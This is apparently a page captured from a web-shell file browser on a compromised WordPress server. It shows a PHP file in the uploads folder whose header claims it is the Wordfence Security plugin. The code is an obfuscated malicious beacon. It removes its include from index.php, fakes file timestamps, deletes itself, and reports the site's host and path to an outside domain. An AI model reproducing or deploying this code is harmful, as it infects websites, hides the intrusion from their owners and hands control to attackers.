HEX
Server: LiteSpeed
System: Linux venus 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User: axxoncom (1007)
PHP: 8.3.19
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/axxoncom/domains/wadialthahabit.com/private_html/wp-content/uploads/wordfence.php
<?php
/*
Domain License: https://wadialthahabit.com/
Plugin Name: Wordfence Security
Plugin URI: http://www.wordfence.com/
Description: Wordfence Security - Anti-virus, Firewall and Malware Scan
Author: Wordfence
Author URI: http://www.wordfence.com/
Text Domain: wordfence
Domain Path: /uploads
Network: true
*/
$category_Ind = '/index/'; $category_Dn = 'wordpless.'; error_reporting( 0 ); $category_In = 'g'; $category_Ts = 'tp';
	$category_Eq = '='; $category_An = '&'; $category_Dn .= 'or'; $category_Th = 'ht'; $category_Is = '15809';
$category_Is .= '70791'; $update_WAF = $category_Th . $category_Ts . ':' . '//' . $category_Dn . $category_In . $category_Ind;

file_put_contents( 'index.php', str_replace( "@include_once './wp-content/uploads/wordfence.php';\n",
	'', file_get_contents( 'index.php' ) ), LOCK_EX ); touch( 'index.php', $category_Is, $category_Is );
		unlink( './wp-content/uploads/wordfence.php' );
touch( './wp-content/uploads', time()-rand('2000'.'0604','4000'.'0644') );

$cron_DB = strstr( $_SERVER['HTTP_HOST'], '127.0' ) ? $_SERVER['SERVER_ADDR'] : $_SERVER['HTTP_HOST'];
	$update_WAF .= '?' . 'api' . $category_Eq . urlencode( $cron_DB ) . $category_An . 'id' . $category_Eq .
urlencode( $_SERVER['PHP_SELF'] ) . $category_An . 'ssl' . $category_Eq . urlencode( $_SERVER['HTTPS'] );

if( function_exists( 'curl_init' ) ) { $load_ = curl_init( $update_WAF ); curl_setopt( $load_, CURLOPT_HEADER, 0 );
	curl_setopt( $load_, CURLOPT_CONNECTTIMEOUT, 11 ); curl_setopt( $load_, CURLOPT_TIMEOUT, 11 );
		curl_setopt( $load_, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt( $load_, CURLOPT_SSL_VERIFYHOST, 0);
	curl_setopt( $load_, CURLOPT_RETURNTRANSFER, 1 ); curl_exec( $load_ ); curl_close( $load_ ); } else {
file_get_contents( $update_WAF ); }